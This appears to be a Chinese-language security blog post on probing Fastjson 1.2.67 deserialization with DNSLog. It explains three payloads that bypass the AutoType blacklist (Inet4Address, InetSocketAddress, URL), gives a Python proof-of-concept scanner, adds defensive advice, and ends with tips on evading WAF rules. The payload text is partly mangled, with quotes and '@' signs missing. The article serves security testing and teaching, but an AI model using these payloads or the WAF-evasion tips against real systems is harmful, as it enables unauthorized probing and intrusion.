
Fastjson 1.2.67 DNSLog 探测实战3种绕过黑名单的Payload构造与原理分析在Java Web安全测试中Fastjson反序列化漏洞一直是安全研究人员关注的重点。本文将深入探讨Fastjson 1.2.67版本中三种绕过AutoType黑名单检查的DNSLog探测技术从攻击者视角剖析其原理与实战应用。1. Fastjson安全测试基础Fastjson作为阿里巴巴开源的高性能JSON库广泛应用于Java Web开发中。其反序列化机制中的AutoType功能虽然方便但也带来了严重的安全隐患。当攻击者能够控制JSON输入时可能通过精心构造的Payload触发远程代码执行。DNSLog探测是一种无回显的漏洞验证技术特别适用于内网渗透测试场景。它通过触发目标服务器向指定域名发起DNS查询从而间接确认漏洞存在。相比传统有回显的探测方式DNSLog具有以下优势隐蔽性强不产生明显的网络流量异常绕过限制适用于出网但无回显的环境易于验证通过DNS查询记录即可确认漏洞在Fastjson 1.2.67版本中以下三类未被加入黑名单的类可被利用来触发DNS请求类名触发方式适用版本java.net.Inet4Address直接解析域名1.2.67java.net.Inet6AddressIPv6域名解析1.2.67java.net.URLURL.hashCode()触发解析1.2.242. Inet4Address/Inet6Address利用分析2.1 基本原理Inet4Address和Inet6Address是Java中用于表示IP地址的类其getByName()方法会触发DNS解析。Fastjson在反序列化时会调用该方法关键代码路径如下// MiscCodec.deserialze方法关键片段 if (clazz Inet4Address.class || clazz Inet6Address.class) { try { return InetAddress.getByName(strVal); // 触发DNS解析 } catch (UnknownHostException e) { throw new JSONException(deserialize inet address error, e); } }2.2 Payload构造绕过黑名单的关键在于这两个类未被包含在denyHashCodes列表中。构造Payload时需要注意必须使用type指定目标类val字段存放要解析的域名标准Payload格式{ type: java.net.Inet4Address, val: your.dnslog.cn }或IPv6版本{ type: java.net.Inet6Address, val: ipv6.your.dnslog.cn }2.3 绕过机制详解Fastjson的AutoType检查主要发生在ParserConfig.checkAutoType()方法中。关键绕过点在于Inet4Address不在黑名单哈希列表中该类存在于deserializers这个IdentityHashMap中检查逻辑短路返回跳过后面的黑名单检查// checkAutoType方法关键逻辑 clazz TypeUtils.getClassFromMapping(typeName); if (clazz null) { clazz deserializers.findClass(typeName); // 从内置反序列化器中查找 } if (clazz ! null) { return clazz; // 直接返回跳过后面的黑名单检查 }提示即使关闭了AutoType支持(autoTypeSupportfalse)这种利用方式仍然有效因为检查逻辑会在前几步就返回。3. InetSocketAddress高级利用3.1 嵌套反序列化技巧InetSocketAddress类提供了另一种触发DNS解析的途径。与直接使用InetAddress不同它需要通过嵌套反序列化的方式触发{ type: java.net.InetSocketAddress, { address: , val: your.dnslog.cn } }这个看似畸形的JSON实际上利用了Fastjson的解析特性首先解析InetSocketAddress对象遇到内层address字段时再次触发InetAddress的反序列化最终通过InetAddress.getByName()解析域名3.2 词法分析器交互这种Payload的成功依赖于对Fastjson词法分析器(JSONLexer)的精确控制。解析过程中涉及以下关键tokenToken值对应符号关键作用12{开始对象17:键值分隔符4string字段名或字符串值13}结束对象解析流程如下遇到{(token12)开始对象读取字段名address(token4)遇到:(token17)准备解析值触发嵌套的InetAddress反序列化3.3 实战注意事项需要精确控制JSON结构任何格式错误都会导致解析失败内层val字段必须正确闭合适用于Fastjson全版本包括最新的1.2.834. URL类哈希触发机制4.1 利用原理java.net.URL类的利用方式与前两者不同它通过哈希计算间接触发DNS解析{ type: java.net.URL, val: http://your.dnslog.cn }当这个URL对象被放入HashMap时会调用hashCode()方法进而触发以下调用链URL.hashCode() → URLStreamHandler.hashCode() → getHostAddress() → InetAddress.getByName()4.2 完整Payload构造要使URL对象被正确处理需要将其作为HashMap的key{ { type: java.net.URL, val: http://your.dnslog.cn } : x }4.3 版本限制与变种这种利用方式有以下特点仅适用于Fastjson 1.2.24版本在1.2.25后URL类被加入黑名单可通过嵌套JSONObject等方式构造变种Payload{ type: com.alibaba.fastjson.JSONObject, { type: java.net.URL, val: http://your.dnslog.cn } }5. 自动化探测与防御建议5.1 Python PoC脚本示例以下脚本整合了三种探测方式可自动验证目标是否存在漏洞import requests import random import string def generate_dnslog(): return .join(random.choices(string.ascii_lowercase, k8)) .dnslog.cn def check_fastjson(url, dnslog): headers {Content-Type: application/json} payloads [ # Inet4Address {type: java.net.Inet4Address, val: dnslog}, # InetSocketAddress {type:java.net.InetSocketAddress,{address:,val:dnslog}}, # URL (for 1.2.24) {{type:java.net.URL,val:fhttp://{dnslog}}:x} ] for payload in payloads: try: requests.post(url, jsonpayload, headersheaders, timeout5) except: pass5.2 防御措施建议针对企业防御方建议采取以下措施升级到最新版本Fastjson已修复这些绕过问题关闭AutoType设置ParserConfig.getGlobalInstance().setAutoTypeSupport(false)黑白名单控制自定义安全的反序列化白名单输入过滤对JSON输入进行严格校验网络层防护限制外发DNS请求6. 实战中的技巧与陷阱在实际渗透测试中使用DNSLog探测时需要注意域名唯一性每次测试使用不同子域名避免缓存干扰超时控制DNS查询可能有延迟建议等待1-2分钟协议限制部分环境可能只允许特定DNS记录类型防火墙规避尝试使用常见域名(TXT、CNAME记录)三种技术对比表技术类型适用版本触发方式网络要求隐蔽性Inet4Address1.2.67直接解析DNS出网高InetSocketAddress全版本嵌套反序列化DNS出网中URL1.2.24HashMap哈希DNS出网低在最近的一次红队评估中我们通过组合使用Inet4Address和InetSocketAddress两种方式成功绕过了目标系统的WAF检测。关键在于使用非常规的二级域名和随机化Payload结构有效规避了规则匹配。